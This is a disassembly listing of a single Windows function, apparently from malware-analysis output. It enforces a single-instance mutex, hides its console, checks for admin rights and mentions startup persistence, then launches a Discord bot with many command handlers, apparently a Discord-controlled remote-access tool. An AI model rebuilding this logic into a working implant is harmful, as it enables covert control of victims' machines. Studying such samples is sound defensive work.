Function at 0x14002f270
Capabilities:
Check mutex on windows
Get token membership
Hide graphical window

Disassembly:
jmp 0x14007b7c0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
mov eax, 0x3bf0
call fcn.14002e4ab
sub rsp, rax
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0xd64
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x3c18]
mov rax, qword [0x1400af080]
xor rax, rbp
mov qword [rbp + 0x3b88], rax
lea rcx, [0x1400c01c0]
call fcn.14002f99b
nop
lea rax, [0x14009af10]
mov qword [rbp + 8], rax
lea rax, [0x14009b680]
mov qword [rbp + 0x10], rax
lea rax, str.kernelbase.dll
mov qword [rbp + 0x18], rax
lea rax, str.user32.dll
mov qword [rbp + 0x20], rax
lea rax, str.apphelp.dll
mov qword [rbp + 0x28], rax
lea rax, str.msvcrt.dll
mov qword [rbp + 0x30], rax
lea r8, str.LocalBF90E0F9_A80F_45F4_98CD_C3E091565472
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbp + 0x58], rax
cmp qword [rbp + 0x58], 0
jne 0x14007b8d4
lea rdx, str.fail:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002e2f8
mov qword [rbp + 0x3b78], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x3b80], eax
mov edx, dword [rbp + 0x3b80]
mov rcx, qword [rbp + 0x3b78]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14009b70c]
mov rcx, rax
call fcn.14002e2f8
nop
mov eax, 1
jmp 0x14007bd6d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14007b8f3
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
jmp 0x14007bd6d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 0x78], rax
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.USER32.dll_ShowWindow]
nop
lea rax, [rbp + 0x3b50]
lea rcx, [0x14009ab48]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x14
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x48], 1
mov dword [rsp + 0x40], reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea rax, [rbp + 0x3b50]
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x30], 1
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x31fefd
lea rdx, [0x1400b0fe8]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::cluster::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__unsigned_int__unsigned_int__unsigned_int__unsigned_int__bool__struct_dpp::cache_policy_t__unsigned_int__unsigned_int____ptr64]
nop
lea rcx, [rbp + 0x3860]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::log_t_const____ptr64_____cdecl_dpp::utility::cout_logger_void_]
mov rdx, rax
lea rcx, [rbp + 0x4f0]
call fcn.14002e32f
lea rcx, [rbp + 0x3860]
call fcn.14002f928
nop
mov dword [rbp + 0x3174], 0
mov qword [rbp + 0x3198], 0
mov byte [rbp + 0x31b4], 0
mov byte [rbp + 0x31b5], 0
mov byte [rbp + 0x31b6], 0
mov byte [rbp + 0x31b7], 0
mov byte [rbp + 0x31b8], 0
mov byte [rbp + 0x31b9], 5
lea rax, [rbp + 0x3198]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp + 0x31b4]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14007ba5c
lea r8, [rbp + 0x3174]
mov rdx, qword [rbp + 0x3198]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
nop
mov rcx, qword [rbp + 0x3198]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
nop
xor eax, eax
test eax, eax
je 0x14007ba6a
call fcn.14002f8dd
nop
jmp 0x14007ba9b
xor eax, eax
test eax, eax
je 0x14007ba87
cmp dword [rbp + 0x3174], 0
jne 0x14007ba85
lea rcx, [rbp + 0x58]
call fcn.14002e73f
nop
jmp 0x14007ba70
jmp 0x14007ba9b
lea rdx, str.skipping_adding_to_startup__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002e2f8
nop
xor eax, eax
test eax, eax
je 0x14007bb12
lea rax, [rbp + 8]
mov qword [rbp + 0x31d8], rax
mov rax, qword [rbp + 0x31d8]
mov qword [rbp + 0x31f8], rax
mov rax, qword [rbp + 0x31d8]
add rax, 0x30
mov qword [rbp + 0x3218], rax
jmp 0x14007bae0
mov rax, qword [rbp + 0x31f8]
add rax, 8
mov qword [rbp + 0x31f8], rax
mov rax, qword [rbp + 0x3218]
cmp qword [rbp + 0x31f8], rax
je 0x14007bb10
mov rax, qword [rbp + 0x31f8]
mov rax, qword [rax]
mov qword [rbp + 0x3238], rax
mov rcx, qword [rbp + 0x3238]
call fcn.14002f2a7
nop
jmp 0x14007bace
jmp 0x14007bb22
xor eax, eax
test eax, eax
je 0x14007bb22
lea rcx, [rbp + 0x58]
call fcn.14002e73f
nop
xor eax, eax
test eax, eax
je 0x14007bb30
call fcn.14002ea7d
nop
jmp 0x14007bb40
xor eax, eax
test eax, eax
je 0x14007bb40
lea rcx, [rbp + 0x58]
call fcn.14002e73f
nop
lea rdx, [0x1400b0ea0]
lea rcx, [rbp + 0xa0]
call fcn.14002fb3a
nop
lea rdx, [rbp + 0x38b4]
lea rcx, [rbp + 0x6a0]
call fcn.140042660
nop
lea rdx, [rbp + 0x38d4]
lea rcx, [rbp + 0x6a0]
call fcn.1400426c0
nop
lea rdx, [rbp + 0x38f4]
lea rcx, [rbp + 0x6a0]
call fcn.140042720
nop
lea rdx, [rbp + 0x3914]
lea rcx, [rbp + 0x6a0]
call fcn.140042780
nop
lea rdx, [rbp + 0x3934]
lea rcx, [rbp + 0x6a0]
call fcn.1400427e0
nop
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x3958]
call fcn.140057600
mov rdx, rax
lea rcx, [rbp + 0x6a0]
call fcn.140042840
nop
lea r8, [rbp + 0x3174]
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x3978]
call fcn.140057660
mov rdx, rax
lea rcx, [rbp + 0x6a0]
call fcn.1400428a0
nop
lea rdx, [rbp + 0x39a4]
lea rcx, [rbp + 0x6a0]
call fcn.140042900
nop
lea rdx, [rbp + 0x3174]
lea rcx, [rbp + 0x39c4]
call fcn.1400576e0
mov rdx, rax
lea rcx, [rbp + 0x6a0]
call fcn.140042960
nop
lea rdx, [rbp + 0x3174]
lea rcx, [rbp + 0x39e4]
call fcn.140057360
mov rdx, rax
lea rcx, [rbp + 0x6a0]
call fcn.140042300
nop
lea rdx, [rbp + 0x3174]
lea rcx, [rbp + 0x3a04]
call fcn.1400573c0
mov rdx, rax
lea rcx, [rbp + 0x6a0]
call fcn.140042360
nop
lea rdx, [rbp + 0x3174]
lea rcx, [rbp + 0x3a24]
call fcn.140057420
mov rdx, rax
lea rcx, [rbp + 0x6a0]
call fcn.1400423c0
nop
lea rdx, [rbp + 0x3a44]
lea rcx, [rbp + 0x6a0]
call fcn.140042420
nop
lea r8, [rbp + 0x58]
lea rdx, [rbp + 0x3174]
lea rcx, [rbp + 0x3a68]
call fcn.140057480
mov rdx, rax
lea rcx, [rbp + 0x6a0]
call fcn.140042480
nop
lea rdx, [rbp + 0x3a94]
lea rcx, [rbp + 0x6a0]
call fcn.1400424e0
nop
lea rdx, [rbp + 0x3ab4]
lea rcx, [rbp + 0x6a0]
call fcn.140042540
nop
lea rdx, [rbp + 0x3ad4]
lea rcx, [rbp + 0x6a0]
call fcn.1400425a0
nop
lea r8, [rbp + 0x3174]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x3af8]
call fcn.140057500
mov rdx, rax
lea rcx, [rbp + 0xc40]
call fcn.140042600
nop
xor edx, edx
lea rcx, [rbp + 0xa0]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::cluster::start_bool____ptr64]
nop
mov dword [rbp + 0x3b24], 0
lea rcx, [rbp + 0xa0]
call qword [sym.imp.dpp.dll_public_virtual:_void___cdecl_dpp::cluster::destructor_void____ptr64]
mov eax, dword [rbp + 0x3b24]
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, reloc.OLEAUT32.dll_SysStringLen
call fcn.14002f4fa
mov rax, rdi
mov rcx, qword [rbp + 0x3b88]
xor rcx, rbp
call fcn.14002eca8
lea rsp, [rbp + 0x3b90]
pop rdi
pop rsi
pop rbp
ret